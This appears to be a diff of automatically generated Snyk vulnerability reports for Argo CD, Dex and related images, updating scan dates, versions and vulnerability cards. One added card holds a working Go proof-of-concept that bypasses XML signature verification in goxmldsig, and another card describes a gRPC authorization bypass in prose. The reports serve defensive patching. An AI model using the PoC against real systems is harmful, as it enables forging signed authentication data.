<p>Upgrade <code>google.golang.org/grpc</code> to version 1.79.3 or higher.</p>
|
||||
<h2 id="references">References</h2>
|
||||
<ul>
|
||||
<li><a href="https://github.com/grpc/grpc-go/commit/72186f163e75a065c39e6f7df9b6dea07fbdeff5">GitHub Commit</a></li>
|
||||
</ul>
|
||||
|
||||
<hr/>
|
||||
|
||||
<div class="cta card__cta">
|
||||
<p><a href="https://snyk.io/vuln/SNYK-GOLANG-GOOGLEGOLANGORGGRPC-15691172">More about this vulnerability</a></p>
|
||||
</div>
|
||||
|
||||
</div><!-- .card -->
|
||||
<div class="card card--vuln disclosure--not-new severity--high" data-snyk-test="high">
|
||||
<h2 class="card__title">CVE-2025-69421</h2>
|
||||
<div class="card__section">
|
||||
@@ -1055,6 +1138,193 @@
|
||||
<p><a href="https://snyk.io/vuln/SNYK-GOLANG-GOOPENTELEMETRYIOOTELSDKRESOURCE-15182758">More about this vulnerability</a></p>
|
||||
</div>
|
||||
|
||||
</div><!-- .card -->
|
||||
<div class="card card--vuln disclosure--not-new severity--high" data-snyk-test="high">
|
||||
<h2 class="card__title">Improper Verification of Cryptographic Signature</h2>
|
||||
<div class="card__section">
|
||||
|
||||
<div class="card__labels">
|
||||
<div class="label label--high">
|
||||
<span class="label__text">high severity</span>
|
||||
</div>
|
||||
<div class="label label--exploit">
|
||||
<span class="label__text">Exploit: Proof of Concept</span>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<hr/>
|
||||
|
||||
<ul class="card__meta">
|
||||
<li class="card__meta__item">
|
||||
Manifest file: ghcr.io/dexidp/dex:v2.43.0/dexidp/dex <span class="list-paths__item__arrow">›</span> /usr/local/bin/dex
|
||||
</li>
|
||||
<li class="card__meta__item">
|
||||
Package Manager: golang
|
||||
</li>
|
||||
<li class="card__meta__item">
|
||||
Vulnerable module:
|
||||
|
||||
github.com/russellhaering/goxmldsig
|
||||
</li>
|
||||
|
||||
<li class="card__meta__item">Introduced through:
|
||||
|
||||
github.com/dexidp/dex@* and github.com/russellhaering/goxmldsig@v1.5.0
|
||||
|
||||
</li>
|
||||
</ul>
|
||||
|
||||
<hr/>
|
||||
|
||||
|
||||
<h3 class="card__section__title">Detailed paths</h3>
|
||||
|
||||
<ul class="card__meta__paths">
|
||||
<li>
|
||||
<span class="list-paths__item__introduced"><em>Introduced through</em>:
|
||||
github.com/dexidp/dex@*
|
||||
<span class="list-paths__item__arrow">›</span>
|
||||
github.com/russellhaering/goxmldsig@v1.5.0
|
||||
|
||||
</span>
|
||||
|
||||
</li>
|
||||
</ul><!-- .list-paths -->
|
||||
|
||||
</div><!-- .card__section -->
|
||||
|
||||
<hr/>
|
||||
<!-- Overview -->
|
||||
<h2 id="overview">Overview</h2>
|
||||
<p><a href="https://github.com/russellhaering/goxmldsig">github.com/russellhaering/goxmldsig</a> is a XML Digital Signatures implemented in pure Go.</p>
|
||||
<p>Affected versions of this package are vulnerable to Improper Verification of Cryptographic Signature through the <code>validateSignature</code> function in the <code>validate.go</code> file. An attacker can bypass integrity checks and alter the contents of signed elements by exploiting pointer aliasing on a loop variable, allowing them to replace one element's contents with another referenced element's.</p>
|
||||
<h2 id="poc">PoC</h2>
|
||||
<pre><code>package main
|
||||
|
||||
import (
|
||||
"crypto/rand"
|
||||
"crypto/rsa"
|
||||
"crypto/tls"
|
||||
"crypto/x509"
|
||||
"encoding/base64"
|
||||
"fmt"
|
||||
"math/big"
|
||||
"time"
|
||||
|
||||
"github.com/beevik/etree"
|
||||
dsig "github.com/russellhaering/goxmldsig"
|
||||
)
|
||||
|
||||
func main() {
|
||||
key, err := rsa.GenerateKey(rand.Reader, 2048)
|
||||
if err != nil {
|
||||
panic(err)
|
||||
}
|
||||
|
||||
template := &x509.Certificate{
|
||||
SerialNumber: big.NewInt(1),
|
||||
NotBefore: time.Now().Add(-1 * time.Hour),
|
||||
NotAfter: time.Now().Add(1 * time.Hour),
|
||||
}
|
||||
|
||||
certDER, err := x509.CreateCertificate(rand.Reader, template, template, &key.PublicKey, key)
|
||||
if err != nil {
|
||||
panic(err)
|
||||
}
|
||||
|
||||
cert, _ := x509.ParseCertificate(certDER)
|
||||
|
||||
doc := etree.NewDocument()
|
||||
root := doc.CreateElement("Root")
|
||||
root.CreateAttr("ID", "target")
|
||||
root.SetText("Malicious Content")
|
||||
|
||||
tlsCert := tls.Certificate{
|
||||
Certificate: [][]byte{cert.Raw},
|
||||
PrivateKey: key,
|
||||
}
|
||||
|
||||
ks := dsig.TLSCertKeyStore(tlsCert)
|
||||
signingCtx := dsig.NewDefaultSigningContext(ks)
|
||||
|
||||
sig, err := signingCtx.ConstructSignature(root, true)
|
||||
if err != nil {
|
||||
panic(err)
|
||||
}
|
||||
|
||||
signedInfo := sig.FindElement("./SignedInfo")
|
||||
|
||||
existingRef := signedInfo.FindElement("./Reference")
|
||||
existingRef.CreateAttr("URI", "#dummy")
|
||||
|
||||
originalEl := etree.NewElement("Root")
|
||||
originalEl.CreateAttr("ID", "target")
|
||||
originalEl.SetText("Original Content")
|
||||
|
||||
sig1, _ := signingCtx.ConstructSignature(originalEl, true)
|
||||
ref1 := sig1.FindElement("./SignedInfo/Reference").Copy()
|
||||
|
||||
signedInfo.InsertChildAt(existingRef.Index(), ref1)
|
||||
|
||||
c14n := signingCtx.Canonicalizer
|
||||
|
||||
detachedSI := signedInfo.Copy()
|
||||
if detachedSI.SelectAttr("xmlns:"+dsig.DefaultPrefix) == nil {
|
||||
detachedSI.CreateAttr("xmlns:"+dsig.DefaultPrefix, dsig.Namespace)
|
||||
}
|
||||
|
||||
canonicalBytes, err := c14n.Canonicalize(detachedSI)
|
||||
if err != nil {
|
||||
fmt.Println("c14n error:", err)
|
||||
return
|
||||
}
|
||||
|
||||
hash := signingCtx.Hash.New()
|
||||
hash.Write(canonicalBytes)
|
||||
digest := hash.Sum(nil)
|
||||
|
||||
rawSig, err := rsa.SignPKCS1v15(rand.Reader, key, signingCtx.Hash, digest)
|
||||
if err != nil {
|
||||
panic(err)
|
||||
}
|
||||
|
||||
sigVal := sig.FindElement("./SignatureValue")
|
||||
sigVal.SetText(base64.StdEncoding.EncodeToString(rawSig))
|
||||
|
||||
certStore := &dsig.MemoryX509CertificateStore{
|
||||
Roots: []*x509.Certificate{cert},
|
||||
}
|
||||
valCtx := dsig.NewDefaultValidationContext(certStore)
|
||||
|
||||
root.AddChild(sig)
|
||||
|
||||
doc.SetRoot(root)
|
||||
str, _ := doc.WriteToString()
|
||||
fmt.Println("XML:")
|
||||
fmt.Println(str)
|
||||
|
||||
validated, err := valCtx.Validate(root)
|
||||
if err != nil {
|
||||
fmt.Println("validation failed:", err)
|
||||
} else {
|
||||
fmt.Println("validation ok")
|
||||
fmt.Println("validated text:", validated.Text())
|
||||
}
|
||||
}
|
||||
</code></pre>
|
||||
<h2 id="remediation">Remediation</h2>
|
||||
<p>Upgrade <code>github.com/russellhaering/goxmldsig</code> to version 1.6.0 or higher.</p>
|
||||
<h2 id="references">References</h2>
|
||||
<ul>
|
||||
<li><a href="https://github.com/russellhaering/goxmldsig/commit/db3d1e31f7535d7f5debb49851b9e9a2ff08b936">GitHub Commit</a></li>
|
||||
</ul>
|
||||
|
||||
<hr/>
|
||||
|
||||
<div class="cta card__cta">
|
||||
<p><a href="https://snyk.io/vuln/SNYK-GOLANG-GITHUBCOMRUSSELLHAERINGGOXMLDSIG-15692488">More about this vulnerability</a></p>
|
||||
</div>
|
||||
|
||||
</div><!-- .card -->
|
||||
<div class="card card--vuln disclosure--not-new severity--high" data-snyk-test="high">
|
||||
<h2 class="card__title">Asymmetric Resource Consumption (Amplification)</h2>
|
||||
@@ -492,7 +492,7 @@
|
||||
<div class="header-wrap">
|
||||
<h1 class="project__header__title">Snyk test report</h1>
|
||||
|
||||
<p class="timestamp">March 8th 2026, 12:36:33 am (UTC+00:00)</p>
|
||||
<p class="timestamp">March 29th 2026, 12:42:31 am (UTC+00:00)</p>
|
||||
</div>
|
||||
<div class="source-panel">
|
||||
<span>Scanned the following path:</span>
|
||||
@@ -492,7 +492,7 @@
|
||||
<div class="header-wrap">
|
||||
<h1 class="project__header__title">Snyk test report</h1>
|
||||
|
||||
<p class="timestamp">March 8th 2026, 12:34:04 am (UTC+00:00)</p>
|
||||
<p class="timestamp">March 29th 2026, 12:42:38 am (UTC+00:00)</p>
|
||||
</div>
|
||||
<div class="source-panel">
|
||||
<span>Scanned the following path:</span>
|
||||
@@ -905,6 +905,7 @@
|
||||
<li><a href="https://github.com/openssl/openssl/commit/8caf359d6e46fb413e8f5f0df765d2e8a51df4e8">https://github.com/openssl/openssl/commit/8caf359d6e46fb413e8f5f0df765d2e8a51df4e8</a></li>
|
||||
<li><a href="https://github.com/openssl/openssl/commit/e1079bc17ed93ff16f6b86f33a2fe3336e78817e">https://github.com/openssl/openssl/commit/e1079bc17ed93ff16f6b86f33a2fe3336e78817e</a></li>
|
||||
<li><a href="https://openssl-library.org/news/secadv/20260127.txt">https://openssl-library.org/news/secadv/20260127.txt</a></li>
|
||||
<li><a href="https://github.com/metadust/CVE-2025-11187">https://github.com/metadust/CVE-2025-11187</a></li>
|
||||
</ul>
|
||||
|
||||
<hr/>
|
||||
@@ -7,7 +7,7 @@
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
||||
<meta http-equiv="X-UA-Compatible" content="IE=edge">
|
||||
<title>Snyk test report</title>
|
||||
<meta name="description" content="11 known vulnerabilities found in 12 vulnerable dependency paths.">
|
||||
<meta name="description" content="13 known vulnerabilities found in 14 vulnerable dependency paths.">
|
||||
<base target="_blank">
|
||||
<link rel="icon" type="image/png" href="https://res.cloudinary.com/snyk/image/upload/v1468845142/favicon/favicon.png"
|
||||
sizes="194x194">
|
||||
@@ -492,23 +492,23 @@
|
||||
<div class="header-wrap">
|
||||
<h1 class="project__header__title">Snyk test report</h1>
|
||||
|
||||
<p class="timestamp">March 8th 2026, 12:34:28 am (UTC+00:00)</p>
|
||||
<p class="timestamp">March 29th 2026, 12:42:59 am (UTC+00:00)</p>
|
||||
</div>
|
||||
<div class="source-panel">
|
||||
<span>Scanned the following paths:</span>
|
||||
<ul>
|
||||
<li class="paths">quay.io/argoproj/argocd:v3.2.7/argoproj/argocd/Dockerfile (deb)</li>
|
||||
<li class="paths">quay.io/argoproj/argocd:v3.2.7/argoproj/argo-cd/v3//usr/local/bin/argocd (gomodules)</li>
|
||||
<li class="paths">quay.io/argoproj/argocd:v3.2.7//usr/local/bin/kustomize (gomodules)</li>
|
||||
<li class="paths">quay.io/argoproj/argocd:v3.2.7/helm/v3//usr/local/bin/helm (gomodules)</li>
|
||||
<li class="paths">quay.io/argoproj/argocd:v3.2.7/git-lfs/git-lfs//usr/bin/git-lfs (gomodules)</li>
|
||||
<li class="paths">quay.io/argoproj/argocd:v3.2.8/argoproj/argocd/Dockerfile (deb)</li>
|
||||
<li class="paths">quay.io/argoproj/argocd:v3.2.8/argoproj/argo-cd/v3//usr/local/bin/argocd (gomodules)</li>
|
||||
<li class="paths">quay.io/argoproj/argocd:v3.2.8//usr/local/bin/kustomize (gomodules)</li>
|
||||
<li class="paths">quay.io/argoproj/argocd:v3.2.8/helm/v3//usr/local/bin/helm (gomodules)</li>
|
||||
<li class="paths">quay.io/argoproj/argocd:v3.2.8/git-lfs/git-lfs//usr/bin/git-lfs (gomodules)</li>
|
||||
</ul>
|
||||
</div>
|
||||
|
||||
<div class="meta-counts">
|
||||
<div class="meta-count"><span>11</span> <span>known vulnerabilities</span></div>
|
||||
<div class="meta-count"><span>12 vulnerable dependency paths</span></div>
|
||||
<div class="meta-count"><span>2322</span> <span>dependencies</span></div>
|
||||
<div class="meta-count"><span>13</span> <span>known vulnerabilities</span></div>
|
||||
<div class="meta-count"><span>14 vulnerable dependency paths</span></div>
|
||||
<div class="meta-count"><span>2326</span> <span>dependencies</span></div>
|
||||
</div><!-- .meta-counts -->
|
||||
</div><!-- .layout-container--short -->
|
||||
</header><!-- .project__header -->
|
||||
@@ -516,6 +516,80 @@
|
||||
|
||||
<div class="layout-container" style="padding-top: 35px;">
|
||||
<div class="cards--vuln filter--patch filter--ignore">
|
||||
<div class="card card--vuln disclosure--not-new severity--critical" data-snyk-test="critical">
|
||||
<h2 class="card__title">Incorrect Authorization</h2>
|
||||
<div class="card__section">
|
||||
|
||||
<div class="card__labels">
|
||||
<div class="label label--critical">
|
||||
<span class="label__text">critical severity</span>
|
||||
</div>
|
||||
<div class="label label--exploit">
|
||||
<span class="label__text">Exploit: Not Defined</span>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<hr/>
|
||||
|
||||
<ul class="card__meta">
|
||||
<li class="card__meta__item">
|
||||
Manifest file: quay.io/argoproj/argocd:v3.2.8/argoproj/argo-cd/v3 <span class="list-paths__item__arrow">›</span> /usr/local/bin/argocd
|
||||
</li>
|
||||
<li class="card__meta__item">
|
||||
Package Manager: golang
|
||||
</li>
|
||||
<li class="card__meta__item">
|
||||
Vulnerable module:
|
||||
|
||||
google.golang.org/grpc
|
||||
</li>
|
||||
|
||||
<li class="card__meta__item">Introduced through:
|
||||
|
||||
github.com/argoproj/argo-cd/v3@* and google.golang.org/grpc@v1.75.1
|
||||
|
||||
</li>
|
||||
</ul>
|
||||
|
||||
<hr/>
|
||||
|
||||
|
||||
<h3 class="card__section__title">Detailed paths</h3>
|
||||
|
||||
<ul class="card__meta__paths">
|
||||
<li>
|
||||
<span class="list-paths__item__introduced"><em>Introduced through</em>:
|
||||
github.com/argoproj/argo-cd/v3@*
|
||||
<span class="list-paths__item__arrow">›</span>
|
||||
google.golang.org/grpc@v1.75.1
|
||||
|
||||
</span>
|
||||
|
||||
</li>
|
||||
</ul><!-- .list-paths -->
|
||||
|
||||
</div><!-- .card__section -->
|
||||
|
||||
<hr/>
|
||||
<!-- Overview -->
|
||||
<h2 id="overview">Overview</h2>
|
||||
<p>Affected versions of this package are vulnerable to Incorrect Authorization in the processing of HTTP/2 <code>:path</code> pseudo-headers in <code>handleStream()</code>. An attacker can gain unauthorized access to restricted resources by sending requests with malformed <code>:path</code> headers that omit the leading slash. This is only exploitable if the server uses path-based authorization interceptors, has deny rules that use canonical paths with leading slashes, and has a fallback allow rule in its policy.</p>
|
||||
<h2 id="workaround">Workaround</h2>
|
||||
<p>This vulnerability can be mitigated by adding a validating interceptor that rejects requests with malformed paths, configuring infrastructure (such as reverse proxies) to enforce strict HTTP/2 compliance, or switching to a default-deny authorization policy.</p>
|
||||
<h2 id="remediation">Remediation</h2>
|
||||
<p>Upgrade <code>google.golang.org/grpc</code> to version 1.79.3 or higher.</p>
|
||||
<h2 id="references">References</h2>
|
||||
<ul>
|
||||
<li><a href="https://github.com/grpc/grpc-go/commit/72186f163e75a065c39e6f7df9b6dea07fbdeff5">GitHub Commit</a></li>
|
||||
</ul>
|
||||
|
||||
<hr/>
|
||||
|
||||
<div class="cta card__cta">
|
||||
<p><a href="https://snyk.io/vuln/SNYK-GOLANG-GOOGLEGOLANGORGGRPC-15691172">More about this vulnerability</a></p>
|
||||
</div>
|
||||
|
||||
</div><!-- .card -->
|
||||
<div class="card card--vuln disclosure--not-new severity--high" data-snyk-test="high">
|
||||
<h2 class="card__title">Untrusted Search Path</h2>
|
||||
<div class="card__section">
|
||||
@@ -533,7 +607,7 @@
|
||||
|
||||
<ul class="card__meta">
|
||||
<li class="card__meta__item">
|
||||
Manifest file: quay.io/argoproj/argocd:v3.2.7/argoproj/argo-cd/v3 <span class="list-paths__item__arrow">›</span> /usr/local/bin/argocd
|
||||
Manifest file: quay.io/argoproj/argocd:v3.2.8/argoproj/argo-cd/v3 <span class="list-paths__item__arrow">›</span> /usr/local/bin/argocd
|
||||
</li>
|
||||
<li class="card__meta__item">
|
||||
Package Manager: golang
|
||||
@@ -606,7 +680,7 @@
|
||||
|
||||
<ul class="card__meta">
|
||||
<li class="card__meta__item">
|
||||
Manifest file: quay.io/argoproj/argocd:v3.2.7/helm/v3 <span class="list-paths__item__arrow">›</span> /usr/local/bin/helm
|
||||
Manifest file: quay.io/argoproj/argocd:v3.2.8/helm/v3 <span class="list-paths__item__arrow">›</span> /usr/local/bin/helm
|
||||
</li>
|
||||
<li class="card__meta__item">
|
||||
Package Manager: golang
|
||||
@@ -682,7 +756,7 @@
|
||||
|
||||
<ul class="card__meta">
|
||||
<li class="card__meta__item">
|
||||
Manifest file: quay.io/argoproj/argocd:v3.2.7/helm/v3 <span class="list-paths__item__arrow">›</span> /usr/local/bin/helm
|
||||
Manifest file: quay.io/argoproj/argocd:v3.2.8/helm/v3 <span class="list-paths__item__arrow">›</span> /usr/local/bin/helm
|
||||
</li>
|
||||
<li class="card__meta__item">
|
||||
Package Manager: golang
|
||||
@@ -740,6 +814,79 @@
|
||||
<p><a href="https://snyk.io/vuln/SNYK-GOLANG-GOLANGORGXNETHTML-15237740">More about this vulnerability</a></p>
|
||||
</div>
|
||||
|
||||
</div><!-- .card -->
|
||||
<div class="card card--vuln disclosure--not-new severity--medium" data-snyk-test="medium">
|
||||
<h2 class="card__title">Improper Validation of Specified Type of Input</h2>
|
||||
<div class="card__section">
|
||||
|
||||
<div class="card__labels">
|
||||
<div class="label label--medium">
|
||||
<span class="label__text">medium severity</span>
|
||||
</div>
|
||||
<div class="label label--exploit">
|
||||
<span class="label__text">Exploit: Not Defined</span>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<hr/>
|
||||
|
||||
<ul class="card__meta">
|
||||
<li class="card__meta__item">
|
||||
Manifest file: quay.io/argoproj/argocd:v3.2.8/argoproj/argo-cd/v3 <span class="list-paths__item__arrow">›</span> /usr/local/bin/argocd
|
||||
</li>
|
||||
<li class="card__meta__item">
|
||||
Package Manager: golang
|
||||
</li>
|
||||
<li class="card__meta__item">
|
||||
Vulnerable module:
|
||||
|
||||
github.com/vmihailenco/msgpack/v5
|
||||
</li>
|
||||
|
||||
<li class="card__meta__item">Introduced through:
|
||||
|
||||
github.com/argoproj/argo-cd/v3@* and github.com/vmihailenco/msgpack/v5@v5.4.1
|
||||
|
||||
</li>
|
||||
</ul>
|
||||
|
||||
<hr/>
|
||||
|
||||
|
||||
<h3 class="card__section__title">Detailed paths</h3>
|
||||
|
||||
<ul class="card__meta__paths">
|
||||
<li>
|
||||
<span class="list-paths__item__introduced"><em>Introduced through</em>:
|
||||
github.com/argoproj/argo-cd/v3@*
|
||||
<span class="list-paths__item__arrow">›</span>
|
||||
github.com/vmihailenco/msgpack/v5@v5.4.1
|
||||
|
||||
</span>
|
||||
|
||||
</li>
|
||||
</ul><!-- .list-paths -->
|
||||
|
||||
</div><!-- .card__section -->
|
||||
|
||||
<hr/>
|
||||
<!-- Overview -->
|
||||
<h2 id="overview">Overview</h2>
|
||||
<p>Affected versions of this package are vulnerable to Improper Validation of Specified Type of Input in the calls plugin when handling websocket messages containing malformed msgpack frames. An attacker can cause the server to consume excessive memory and crash by sending specially crafted websocket requests.</p>
|
||||
<h2 id="remediation">Remediation</h2>
|
||||
<p>There is no fixed version for <code>github.com/vmihailenco/msgpack/v5</code>.</p>
|
||||
<h2 id="references">References</h2>
|
||||
<ul>
|
||||
<li><a href="https://github.com/mattermost/msgpack/commit/2f9c67d7e57f">GitHub Commit</a></li>
|
||||
<li><a href="https://mattermost.com/security-updates">Mattermost Security Updates</a></li>
|
||||
</ul>
|
||||
|
||||
<hr/>
|
||||
|
||||
<div class="cta card__cta">
|
||||
<p><a href="https://snyk.io/vuln/SNYK-GOLANG-GITHUBCOMVMIHAILENCOMSGPACKV5-15702238">More about this vulnerability</a></p>
|
||||
</div>
|
||||
|
||||
</div><!-- .card -->
|
||||
<div class="card card--vuln disclosure--not-new severity--medium" data-snyk-test="medium">
|
||||
<h2 class="card__title">MPL-2.0 license</h2>
|
||||
@@ -755,7 +902,7 @@
|
||||
|
||||
<ul class="card__meta">
|
||||
<li class="card__meta__item">
|
||||
Manifest file: quay.io/argoproj/argocd:v3.2.7/argoproj/argo-cd/v3 <span class="list-paths__item__arrow">›</span> /usr/local/bin/argocd
|
||||
Manifest file: quay.io/argoproj/argocd:v3.2.8/argoproj/argo-cd/v3 <span class="list-paths__item__arrow">›</span> /usr/local/bin/argocd
|
||||
</li>
|
||||
<li class="card__meta__item">
|
||||
Package Manager: golang
|
||||
@@ -817,7 +964,7 @@
|
||||
|
||||
<ul class="card__meta">
|
||||
<li class="card__meta__item">
|
||||
Manifest file: quay.io/argoproj/argocd:v3.2.7/argoproj/argo-cd/v3 <span class="list-paths__item__arrow">›</span> /usr/local/bin/argocd
|
||||
Manifest file: quay.io/argoproj/argocd:v3.2.8/argoproj/argo-cd/v3 <span class="list-paths__item__arrow">›</span> /usr/local/bin/argocd
|
||||
</li>
|
||||
<li class="card__meta__item">
|
||||
Package Manager: golang
|
||||
@@ -879,7 +1026,7 @@
|
||||
|
||||
<ul class="card__meta">
|
||||
<li class="card__meta__item">
|
||||
Manifest file: quay.io/argoproj/argocd:v3.2.7/argoproj/argo-cd/v3 <span class="list-paths__item__arrow">›</span> /usr/local/bin/argocd
|
||||
Manifest file: quay.io/argoproj/argocd:v3.2.8/argoproj/argo-cd/v3 <span class="list-paths__item__arrow">›</span> /usr/local/bin/argocd
|
||||
</li>
|
||||
<li class="card__meta__item">
|
||||
Package Manager: golang
|
||||
@@ -941,7 +1088,7 @@
|
||||
|
||||
<ul class="card__meta">
|
||||
<li class="card__meta__item">
|
||||
Manifest file: quay.io/argoproj/argocd:v3.2.7/helm/v3 <span class="list-paths__item__arrow">›</span> /usr/local/bin/helm
|
||||
Manifest file: quay.io/argoproj/argocd:v3.2.8/helm/v3 <span class="list-paths__item__arrow">›</span> /usr/local/bin/helm
|
||||
</li>
|
||||
<li class="card__meta__item">
|
||||
Package Manager: golang
|
||||
@@ -1003,7 +1150,7 @@
|
||||
|
||||
<ul class="card__meta">
|
||||
<li class="card__meta__item">
|
||||
Manifest file: quay.io/argoproj/argocd:v3.2.7/argoproj/argo-cd/v3 <span class="list-paths__item__arrow">›</span> /usr/local/bin/argocd
|
||||
Manifest file: quay.io/argoproj/argocd:v3.2.8/argoproj/argo-cd/v3 <span class="list-paths__item__arrow">›</span> /usr/local/bin/argocd
|
||||
</li>
|
||||
<li class="card__meta__item">
|
||||
Package Manager: golang
|
||||
@@ -1065,7 +1212,7 @@
|
||||
|
||||
<ul class="card__meta">
|
||||
<li class="card__meta__item">
|
||||
Manifest file: quay.io/argoproj/argocd:v3.2.7/argoproj/argo-cd/v3 <span class="list-paths__item__arrow">›</span> /usr/local/bin/argocd
|
||||
Manifest file: quay.io/argoproj/argocd:v3.2.8/argoproj/argo-cd/v3 <span class="list-paths__item__arrow">›</span> /usr/local/bin/argocd
|
||||
</li>
|
||||
<li class="card__meta__item">
|
||||
Package Manager: golang
|
||||
@@ -1130,7 +1277,7 @@
|
||||
|
||||
<ul class="card__meta">
|
||||
<li class="card__meta__item">
|
||||
Manifest file: quay.io/argoproj/argocd:v3.2.7/argoproj/argo-cd/v3 <span class="list-paths__item__arrow">›</span> /usr/local/bin/argocd
|
||||
Manifest file: quay.io/argoproj/argocd:v3.2.8/argoproj/argo-cd/v3 <span class="list-paths__item__arrow">›</span> /usr/local/bin/argocd
|
||||
</li>
|
||||
<li class="card__meta__item">
|
||||
Package Manager: golang
|
||||
@@ -1205,7 +1352,7 @@
|
||||
|
||||
<ul class="card__meta">
|
||||
<li class="card__meta__item">
|
||||
Manifest file: quay.io/argoproj/argocd:v3.2.7/argoproj/argocd <span class="list-paths__item__arrow">›</span> Dockerfile
|
||||
Manifest file: quay.io/argoproj/argocd:v3.2.8/argoproj/argocd <span class="list-paths__item__arrow">›</span> Dockerfile
|
||||
</li>
|
||||
<li class="card__meta__item">
|
||||
Package Manager: ubuntu:25.04
|
||||
@@ -1218,7 +1365,7 @@
|
||||
|
||||
<li class="card__meta__item">Introduced through:
|
||||
|
||||
docker-image|quay.io/argoproj/argocd@v3.2.7 and glibc/libc-bin@2.41-6ubuntu1.2
|
||||
docker-image|quay.io/argoproj/argocd@v3.2.8 and glibc/libc-bin@2.41-6ubuntu1.2
|
||||
|
||||
</li>
|
||||
</ul>
|
||||
@@ -1231,7 +1378,7 @@
|
||||
<ul class="card__meta__paths">
|
||||
<li>
|
||||
<span class="list-paths__item__introduced"><em>Introduced through</em>:
|
||||
docker-image|quay.io/argoproj/argocd@v3.2.7
|
||||
docker-image|quay.io/argoproj/argocd@v3.2.8
|
||||
<span class="list-paths__item__arrow">›</span>
|
||||
glibc/libc-bin@2.41-6ubuntu1.2
|
||||
|
||||
@@ -1240,7 +1387,7 @@
|
||||
</li>
|
||||
<li>
|
||||
<span class="list-paths__item__introduced"><em>Introduced through</em>:
|
||||
docker-image|quay.io/argoproj/argocd@v3.2.7
|
||||
docker-image|quay.io/argoproj/argocd@v3.2.8
|
||||
<span class="list-paths__item__arrow">›</span>
|
||||
glibc/libc6@2.41-6ubuntu1.2
|
||||
|
||||
@@ -456,7 +456,7 @@
|
||||
<div class="header-wrap">
|
||||
<h1 class="project__header__title">Snyk test report</h1>
|
||||
|
||||
<p class="timestamp">March 8th 2026, 12:33:23 am (UTC+00:00)</p>
|
||||
<p class="timestamp">March 29th 2026, 12:41:54 am (UTC+00:00)</p>
|
||||
</div>
|
||||
<div class="source-panel">
|
||||
<span>Scanned the following path:</span>
|
||||
@@ -456,7 +456,7 @@
|
||||
<div class="header-wrap">
|
||||
<h1 class="project__header__title">Snyk test report</h1>
|
||||
|
||||
<p class="timestamp">March 8th 2026, 12:33:33 am (UTC+00:00)</p>
|
||||
<p class="timestamp">March 29th 2026, 12:42:04 am (UTC+00:00)</p>
|
||||
</div>
|
||||
<div class="source-panel">
|
||||
<span>Scanned the following path:</span>
|
||||
@@ -7,7 +7,7 @@
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
||||
<meta http-equiv="X-UA-Compatible" content="IE=edge">
|
||||
<title>Snyk test report</title>
|
||||
<meta name="description" content="24 known vulnerabilities found in 72 vulnerable dependency paths.">
|
||||
<meta name="description" content="28 known vulnerabilities found in 79 vulnerable dependency paths.">
|
||||
<base target="_blank">
|
||||
<link rel="icon" type="image/png" href="https://res.cloudinary.com/snyk/image/upload/v1468845142/favicon/favicon.png"
|
||||
sizes="194x194">
|
||||
@@ -492,7 +492,7 @@
|
||||
<div class="header-wrap">
|
||||
<h1 class="project__header__title">Snyk test report</h1>
|
||||
|
||||
<p class="timestamp">March 8th 2026, 12:30:59 am (UTC+00:00)</p>
|
||||
<p class="timestamp">March 29th 2026, 12:39:25 am (UTC+00:00)</p>
|
||||
</div>
|
||||
<div class="source-panel">
|
||||
<span>Scanned the following paths:</span>
|
||||
@@ -505,9 +505,9 @@
|
||||
</div>
|
||||
|
||||
<div class="meta-counts">
|
||||
<div class="meta-count"><span>24</span> <span>known vulnerabilities</span></div>
|
||||
<div class="meta-count"><span>72 vulnerable dependency paths</span></div>
|
||||
<div class="meta-count"><span>2868</span> <span>dependencies</span></div>
|
||||
<div class="meta-count"><span>28</span> <span>known vulnerabilities</span></div>
|
||||
<div class="meta-count"><span>79 vulnerable dependency paths</span></div>
|
||||
<div class="meta-count"><span>2871</span> <span>dependencies</span></div>
|
||||
</div><!-- .meta-counts -->
|
||||
</div><!-- .layout-container--short -->
|
||||
</header><!-- .project__header -->
|
||||
@@ -969,124 +969,6 @@
|
||||
<p><a href="https://snyk.io/vuln/SNYK-JS-MINIMATCH-15353389">More about this vulnerability</a></p>
|
||||
</div>
|
||||
|
||||
</div><!-- .card -->
|
||||
<div class="card card--vuln disclosure--not-new severity--high" data-snyk-test="high">
|
||||
<h2 class="card__title">Untrusted Search Path</h2>
|
||||
<div class="card__section">
|
||||
|
||||
<div class="card__labels">
|
||||
<div class="label label--high">
|
||||
<span class="label__text">high severity</span>
|
||||
</div>
|
||||
<div class="label label--exploit">
|
||||
<span class="label__text">Exploit: Not Defined</span>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<hr/>
|
||||
|
||||
<ul class="card__meta">
|
||||
<li class="card__meta__item">
|
||||
Manifest file: /argo-cd/argoproj/argo-cd/v3 <span class="list-paths__item__arrow">›</span> go.mod
|
||||
</li>
|
||||
<li class="card__meta__item">
|
||||
Package Manager: golang
|
||||
</li>
|
||||
<li class="card__meta__item">
|
||||
Vulnerable module:
|
||||
|
||||
go.opentelemetry.io/otel/sdk/resource
|
||||
</li>
|
||||
|
||||
<li class="card__meta__item">Introduced through:
|
||||
|
||||
github.com/argoproj/argo-cd/v3@0.0.0 and go.opentelemetry.io/otel/sdk/resource@1.38.0
|
||||
|
||||
</li>
|
||||
</ul>
|
||||
|
||||
<hr/>
|
||||
|
||||
|
||||
<h3 class="card__section__title">Detailed paths</h3>
|
||||
|
||||
<ul class="card__meta__paths">
|
||||
<li>
|
||||
<span class="list-paths__item__introduced"><em>Introduced through</em>:
|
||||
github.com/argoproj/argo-cd/v3@0.0.0
|
||||
<span class="list-paths__item__arrow">›</span>
|
||||
go.opentelemetry.io/otel/sdk/resource@1.38.0
|
||||
|
||||
</span>
|
||||
|
||||
</li>
|
||||
<li>
|
||||
<span class="list-paths__item__introduced"><em>Introduced through</em>:
|
||||
github.com/argoproj/argo-cd/v3@0.0.0
|
||||
<span class="list-paths__item__arrow">›</span>
|
||||
go.opentelemetry.io/otel/sdk/trace@1.38.0
|
||||
<span class="list-paths__item__arrow">›</span>
|
||||
go.opentelemetry.io/otel/sdk/resource@1.38.0
|
||||
|
||||
</span>
|
||||
|
||||
</li>
|
||||
<li>
|
||||
<span class="list-paths__item__introduced"><em>Introduced through</em>:
|
||||
github.com/argoproj/argo-cd/v3@0.0.0
|
||||
<span class="list-paths__item__arrow">›</span>
|
||||
